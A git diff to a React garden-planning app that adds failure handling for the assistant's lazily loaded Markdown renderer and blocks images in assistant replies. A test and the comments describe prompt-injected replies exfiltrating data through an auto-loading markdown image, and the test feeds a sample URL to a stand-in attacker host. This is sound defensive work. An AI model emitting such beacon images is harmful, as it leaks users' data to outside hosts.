diff --git a/web/src/editor/ChatPanel.tsx b/web/src/editor/ChatPanel.tsx index 489845c..72edcd7 100644 --- a/web/src/editor/ChatPanel.tsx +++ b/web/src/editor/ChatPanel.tsx @@ -1,4 +1,4 @@ -import { Suspense, lazy, useEffect, useRef, useState, type ReactNode } from 'react' +import { Component, Suspense, useEffect, useRef, useState, type ReactNode } from 'react' import { Alert } from '@/components/ui/Alert' import { errorMessage } from '@/lib/api' import { Button } from '@/components/ui/Button' @@ -14,13 +14,30 @@ import { type AgentTurn, } from '@/lib/agent' import { useUndo } from '@/lib/history' +import { lazyPage } from '@/lib/lazyPage' import { UndoButton } from './UndoButton' // Lazy so the markdown renderer + its ecosystem (~150 KB) loads only when an // assistant message actually renders, not for everyone who opens the editor. -const MarkdownMessage = lazy(() => - import('./MarkdownMessage').then((m) => ({ default: m.MarkdownMessage })), -) +// lazyPage adds the stale-chunk recovery a plain lazy() lacks — a post-deploy +// chunk 404 would otherwise permanently break the assistant. +const MarkdownMessage = lazyPage(() => import('./MarkdownMessage'), 'MarkdownMessage') + +/** + * Falls back to the raw message text if the markdown chunk can't load (a + * non-recoverable 404) or the renderer throws — a garbled reply should degrade to + * readable text, never take the whole editor down. Suspense handles the loading + * phase; this handles the failure one. + */ +class MarkdownBoundary extends Component<{ fallback: ReactNode; children: ReactNode }, { failed: boolean }> { + state = { failed: false } + static getDerivedStateFromError() { + return { failed: true } + } + render() { + return this.state.failed ? this.props.fallback : this.props.children + } +} /** * Talk to the garden assistant, in the editor beside the canvas. @@ -112,8 +129,8 @@ export function ChatPanel({ gardenId, canEdit }: { gardenId: number; canEdit: bo onError: (err) => setError(errorMessage(err, "Couldn't clear the conversation.")), }) } - disabled={clear.isPending} - className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40" + disabled={clear.isPending || !!pending} + className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40 disabled:opacity-50" > Start over @@ -245,11 +262,14 @@ function Bubble({ {mine ? ( body ) : ( - // Show the raw text until the renderer chunk arrives, so a message never - // flashes blank. - {body}}> - {body} - + // Show the raw text until the renderer chunk arrives (Suspense), and fall + // back to it if the chunk can't load or the renderer throws (boundary) — + // either way the message is readable, never blank and never a crash. + {body}}> + {body}}> + {body} + + )} {children} diff --git a/web/src/editor/MarkdownMessage.test.tsx b/web/src/editor/MarkdownMessage.test.tsx index 63d3fbb..8a69192 100644 --- a/web/src/editor/MarkdownMessage.test.tsx +++ b/web/src/editor/MarkdownMessage.test.tsx @@ -39,4 +39,22 @@ describe('MarkdownMessage', () => { expect(html).toContain('href="https://example.com"') expect(html).toContain('rel="noopener noreferrer"') }) + + it('does not render images (no auto-loading exfiltration beacon)', () => { + // A prompt-injected reply could embed `![](https://evil/?leak=…)`; the browser + // would auto-fetch it, leaking that the message was viewed (and anything smuggled + // into the URL). We forbid entirely, so the beacon never fires. + const html = render('before ![pixel](https://evil.example/leak?data=secret) after') + expect(html).not.toContain(' { + const html = render('| L | C | R |\n| :-- | :--: | --: |\n| a | b | c |') + expect(html).toContain('text-align:center') + expect(html).toContain('text-align:right') + }) }) diff --git a/web/src/editor/MarkdownMessage.tsx b/web/src/editor/MarkdownMessage.tsx index a792ee8..d615863 100644 --- a/web/src/editor/MarkdownMessage.tsx +++ b/web/src/editor/MarkdownMessage.tsx @@ -1,13 +1,31 @@ +import { memo, type ReactNode } from 'react' import ReactMarkdown, { type Components } from 'react-markdown' import remarkGfm from 'remark-gfm' -// The assistant answers in Markdown — including GFM tables — so render it as such -// instead of showing the raw source. react-markdown does NOT emit raw HTML (no -// rehype-raw), so an LLM reply can't inject markup; remark-gfm adds tables, -// strikethrough and task lists. Tailwind's reset strips default list/table -// styling, so every element the assistant actually uses is restyled here, scaled -// for a chat bubble. Wide content (tables, code) scrolls inside its own box so -// the bubble never blows out. +// Hoisted so they're not re-created every render (which would defeat both React's +// and ReactMarkdown's memoization). +const remarkPlugins = [remarkGfm] +const CODE_BLOCK = /language-/ + +// The assistant's replies are never trusted markup: their content can be steered +// by anything the agent read (a shared garden's notes, a seed vendor page). So we +// render Markdown but NOT raw HTML (no rehype-raw), and — belt to that — forbid +// , whose auto-loading `src` is a prompt-injection exfiltration beacon +// (`![](https://evil/?leak=…)`); the assistant has no reason to emit images. +const disallowedElements = ['img'] + +// Tailwind's reset strips default list/table styling, so every element the +// assistant actually uses is restyled here, scaled for a chat bubble. Wide +// content (tables, code) scrolls in its own box so the bubble never blows out. +const bigHeading = ({ children }: { children?: ReactNode }) => ( +

{children}

+) +const smallHeading = ({ children }: { children?: ReactNode }) => ( +
+ {children} +
+) + const components: Components = { p: ({ children }) =>

{children}

, a: ({ href, children }) => ( @@ -21,26 +39,31 @@ const components: Components = { ), ul: ({ children }) => , - ol: ({ children }) =>
    {children}
, + ol: ({ children, start }) => ( +
    + {children} +
+ ), li: ({ children }) =>
  • {children}
  • , strong: ({ children }) => {children}, em: ({ children }) => {children}, - h1: ({ children }) =>

    {children}

    , - h2: ({ children }) =>

    {children}

    , - h3: ({ children }) =>

    {children}

    , - h4: ({ children }) => ( -
    - {children} -
    - ), + h1: bigHeading, + h2: bigHeading, + h3: bigHeading, + h4: smallHeading, + h5: smallHeading, + h6: smallHeading, blockquote: ({ children }) => (
    {children}
    ), hr: () =>
    , code: ({ className, children }) => { - // A fenced block carries a language- class and is wrapped by
     (styled
    -    // below); inline code is a bare  and gets the pill treatment here.
    -    if (/language-/.test(className ?? '')) return {children}
    +    // A fenced block is wrapped by 
     (styled below) and carries either a
    +    // language- class or a trailing newline; inline code is a single-line bare
    +    //  and gets the pill treatment. (The newline check catches fences with
    +    // no info-string, which have no language- class.)
    +    const isBlock = CODE_BLOCK.test(className ?? '') || String(children).includes('\n')
    +    if (isBlock) return {children}
         return (
           {children}
         )
    @@ -55,19 +78,32 @@ const components: Components = {
           {children}
    ), - th: ({ children }) => ( - {children} + // Pass `style` through: GFM column alignment (`:---:` / `---:`) arrives as + // style.textAlign, and dropping it would silently discard it. + th: ({ children, style }) => ( + + {children} + + ), + td: ({ children, style }) => ( + + {children} + ), - td: ({ children }) => {children}, } -/** Render one assistant message body as Markdown (GFM). */ -export function MarkdownMessage({ children }: { children: string }) { +/** Render one assistant message body as Markdown (GFM). Memoized so typing in the + * composer doesn't re-parse every message in the thread. */ +export const MarkdownMessage = memo(function MarkdownMessage({ children }: { children: string }) { return (
    - + {children}
    ) -} +}) diff --git a/web/src/lib/lazyPage.ts b/web/src/lib/lazyPage.ts new file mode 100644 index 0000000..102536d --- /dev/null +++ b/web/src/lib/lazyPage.ts @@ -0,0 +1,41 @@ +import { lazy, type ComponentType } from 'react' + +/** + * Lazily load a component by its named export, with recovery for the stale-chunk + * problem. A push to main redeploys, so a still-open app references chunk hashes + * the server has just replaced; that import 404s and React.lazy MEMOIZES the + * rejection, so a "Try again" can never recover — the user is stuck until a manual + * hard reload. On the first such failure we reload once (fetching the fresh index + * + hashes); a session flag stops a reload loop, and a success clears it so a + * later genuine failure can reload again. + * + * Shared by the route splits (router.tsx) and any feature-level lazy load (the + * assistant's Markdown renderer), so they all get the same recovery. + */ +export function lazyPage(load: () => Promise, name: K) { + // Preserve the component's own prop type so callers keep type-checked props + // (e.g. MarkdownMessage's `children: string`), rather than erasing to `{}`. + type C = M[K] extends ComponentType ? ComponentType

    : never + return lazy(async () => { + try { + const mod = await load() + try { + sessionStorage.removeItem('pansy:chunk-reload') + } catch { + /* storage unavailable — fine */ + } + return { default: mod[name] as C } + } catch (err) { + try { + if (!sessionStorage.getItem('pansy:chunk-reload')) { + sessionStorage.setItem('pansy:chunk-reload', '1') + window.location.reload() + return await new Promise<{ default: C }>(() => {}) // hold for the reload + } + } catch { + /* storage unavailable — fall through to surface the error */ + } + throw err // already reloaded once (or can't); let the error boundary show it + } + }) +} diff --git a/web/src/router.tsx b/web/src/router.tsx index eb240c5..912ea6b 100644 --- a/web/src/router.tsx +++ b/web/src/router.tsx @@ -1,4 +1,3 @@ -import { lazy, type ComponentType } from 'react' import { createRootRouteWithContext, createRoute, @@ -15,38 +14,7 @@ import { meQueryOptions } from '@/lib/auth' import { queryClient } from '@/lib/queryClient' import { safeRedirectPath } from '@/lib/redirect' import { getLastGardenId } from '@/lib/lastGarden' - -// Lazily load a page by its named export, with recovery for the stale-chunk -// problem. A push to main redeploys, so a still-open app references chunk hashes -// the server has just replaced; that import 404s and React.lazy MEMOIZES the -// rejection, so RouteError's "Try again" (router.invalidate) can never recover — -// the user is stuck until a manual hard reload. On the first such failure we -// reload once (fetching the fresh index + hashes); a session flag stops a reload -// loop, and a success clears it so a later genuine failure can reload again. -function lazyPage(load: () => Promise, name: K) { - return lazy(async () => { - try { - const mod = await load() - try { - sessionStorage.removeItem('pansy:chunk-reload') - } catch { - /* storage unavailable — fine */ - } - return { default: mod[name] as ComponentType } - } catch (err) { - try { - if (!sessionStorage.getItem('pansy:chunk-reload')) { - sessionStorage.setItem('pansy:chunk-reload', '1') - window.location.reload() - return await new Promise<{ default: ComponentType }>(() => {}) // hold for the reload - } - } catch { - /* storage unavailable — fall through to surface the error */ - } - throw err // already reloaded once (or can't); let the error boundary show it - } - }) -} +import { lazyPage } from '@/lib/lazyPage' // Code-split the heavier / deeper routes so a phone on cell data doesn't download // the whole app (notably the canvas editor with its gesture + geometry deps)